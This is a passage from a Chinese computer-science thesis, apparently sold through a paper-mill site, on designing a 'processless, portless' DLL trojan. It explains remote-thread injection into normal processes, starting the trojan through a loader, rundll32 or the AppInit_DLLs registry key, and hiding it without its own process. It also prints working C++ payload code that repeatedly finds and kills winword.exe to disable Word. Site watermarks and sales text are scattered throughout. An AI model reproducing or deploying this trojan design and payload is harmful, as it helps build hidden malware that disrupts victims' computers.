007_无进程无端口DLL木马
1.无需注册登录,支付后按照提示操作即可获取该资料.
2.资料以网页介绍的为准,下载后不会有水印.资料仅供学习参考之用.
密 惠 保
3 需求分析
3.1 功能需求
无进程,实际上是将DLL木马,注入到其它EXE文件中,使其成为木马的合法载体。在实现木马无进程的特点这个前提下,木马会实现一些破坏性的作用,以损坏计算机文件的功能,比如破坏word文档的正常运行。木马的具体功能流程和特点如图1所示: 【买计算机毕业论文就到计算机毕业论文网】 内容来自think58
图1 功能设计流程图
3.2 性能需求
整个系统应当操作简便,界面友好,维护简便。木马要求运行稳定,执行速度快,装载和卸载的安全性高。软件系统本身运行对计算机硬件平台和操作系统平台要求适中。
3.3 开发环境需求
3.3.1 单机模式
本设计主要应用于一台个人计算机,不要求有网络连接,可以在一台计算机中完成木马的演示,没有客户端和服务器端,只是通过木马的演示程序把木马注入木马所在的计算机便能实现木马的功能。
think58.com
[资料来源:www.THINK58.com]
3.3.2 Visual C++ 6.0开发软件
本设计通过Visual C++ 6.0程序开发软件进行开发和设计。C++作为一种面向对象的程序设计语言,具有对象、类、方法、消息等概念,同时支持面向对象方法的封装机制和继承、多态性机制,具有强大的开发功能。
Visual C++ 6.0是基于Windows环境下的可视化的集成开发环境,将编译、编辑、链接和执行集成为一体,适用于32位的程序和各种系统。
4 设计与实现
4.1 系统结构原理的介绍
4.1.1 木马的主体
千万别把木马模块写得真的像个API库一样,这不是开发WINAPI。DLL木马可以导出几个辅助函数,但是必须有一个过程负责主要执行代码,否则这个DLL只能是一堆零碎API函数。 如果涉及一些通用代码,可以在DLL里写一些内部函数,供自己的代码使用,而不是把所有代码都开放成接口,这样它自己本身都难调用了,更不可能发挥作用。 DLL木马的标准执行入口为DllMain(),所以必须在DllMain()里写好DLL木马运行的代码,或者指向DLL木马的执行模块。 think58.com
[资料来源:http://think58.com]
4.1.2 木马的注入
Windows中,每个进程都有自己的私有内存空间,别的进程是不允许对这个私人领地进行操作的,但是,实际上我们仍然可以利用种种方法进入并操作进程的私有内存,这就是动态嵌入,它是将自己的代码注入正在运行的进程中的技术。动态嵌入有很多种,最常见的是钩子、API以及远程线程技术,现在的大多数DLL木马都采用远程线程技术把自己挂在一个正常系统进程中。其实动态嵌入并不少见,罗技的MouseWare驱动就挂着每一个系统进程。
远程线程技术就是通过在另一个进程中创建远程线程(Remote Thread)的方法进入那个进程的内存地址空间。在DLL木马的范畴里,这个技术也叫做“注入”,当载体在那个被注入的进程里创建了远程线程并命令它加载DLL时,木马就挂上去执行了,没有新进程产生,要想让木马停止惟有让挂接这个木马DLL的进程退出运行。 think58好,好think58 [版权所有:http://think58.com]
4.1.3 木马的启动
直接把这个DLL加入系统启动项目是不可以的。前面说过,DLL不能独立运行,所以无法在启动项目里直接启动它。要想让木马跑起来,就需要一个EXE使用动态嵌入技术让DLL搭上其他正常进程的车,让被嵌入的进程调用这个DLL的DllMain函数,激发木马运行,最后启动木马的EXE结束运行,木马启动完毕。
启动DLL木马的EXE是个重要角色,它被称为Loader,如果没有Loader,DLL木马就是破烂一堆,因此,一个算得上成熟的DLL木马会想办法保护它的Loader不会那么容易被毁灭。Loader可以是多种多样的,Windows的rundll32.exe也被一些DLL木马用来做了Loader,这种木马一般不带动态嵌入技术,它直接挂着rundll32进程运行,用rundll32的方法(rundll32.exe [DLL名],[函数] [参数])像调用API一样去引用这个DLL的启动函数激发木马模块开始执行,即使你杀了rundll32,木马本体还是在的,一个最常见的例子就是3721中文实名,虽然它不是木马。
注册表的AppInit_DLL键也被一些木马用来启动自己,如求职信病毒。利用注册表启动,就是让系统执行DllMain来达到启动木马的目的。因为它是kernel调入的,对这个DLL的稳定性有很大要求,稍有错误就会导致系统崩溃,所以很少看到这种木马。
think58.com
4.1.4 系统的各结构关系
虽然DLL不能让自己运行,可是Windows在加载DLL的时候,需要一个入口函数,就如同EXE的main一样,否则系统无法引用DLL。所以根据编写规范,Windows必须查找并执行DLL里的一个函数DllMain作为加载DLL的依据,这个函数不作为API导出,而是内部函数。DllMain函数使DLL得以保留在内存里,有的DLL里面没有DllMain函数,可是依然能使用,这是因为Windows在找不到DllMain的时候,会从其它运行库中找一个不做任何操作的缺省DllMain函数启动这个DLL使它能被载入,并不是说DLL可以放弃DllMain函数。所以在木马的主体必须通过应用程序进行调动,各部分的关系如图2所示:
copyright think58 [资料来源:THINK58.com]
[资料来源:THINK58.com]
图2 结构关系图
4.2 具体设计的步骤及相关函数
4.2.1 木马功能的设计
木马的主体包含了木马需要实现的具体的功能和作用,在这个设计里木马只是起到了一些破坏作用,并没有类似远程控制的功能,而是只针对了木马所在的计算机进行了一个小的破坏,即破坏了该计算机word文档,使他不能正常开启。木马主体的这个功能设计代码如下:
DWORD WINAPI MainThread(LPVOID lpParam)
{
//不停循环查找word进程,存在即杀掉
while(1)
{
HANDLE Snapshot;
Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//获得某一时刻系统的进程、堆(heap)、模块(module)或线程的快照信息
PROCESSENTRY32 processListStr;
processListStr.dwSize=sizeof(PROCESSENTRY32);
BOOL return_value;
return_value=Process32First(Snapshot,&processListStr);
//获得系统进程链表中第一个进程的信息
while(return_value)
{
HANDLE ProcessHandle;
ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,processListStr.th32ProcessID);
//利用数组ID指定的获得存在的一个进程的句柄 本文来自think58
if(stricmp(processListStr.szExeFile,"winword.exe")==0)
{
TerminateProcess(ProcessHandle,0);
}
return_value=Process32Next(Snapshot,&processListStr);
}
Sleep(2000);
}
}
1.整个木马主体都写在MainThread()这个函数中,方便DLL函数调用木马主体。
2.使用Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0)函数获得当前系统的进程、堆(heap)、模块(module)或线程的快照信息。
3.用Process32First(Snapshot,&processListStr)获得系统进程链表中第一个进程的信息。
4.ProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,processListStr.th32ProcessID)利用数组ID指定的获得存在的一个进程的句柄。
5.判断第一个进程是否为word进程,if(stricmp(processListStr.szExeFile,"winword.exe")==0)。
6.如果第一个进程是word进程,就利用TerminateProcess(ProcessHandle,0)函数结束进程。
内容来自think58
[资料来源:www.THINK58.com]
copyright think58 [资料来源:http://www.THINK58.com]
[来源:http://think58.com]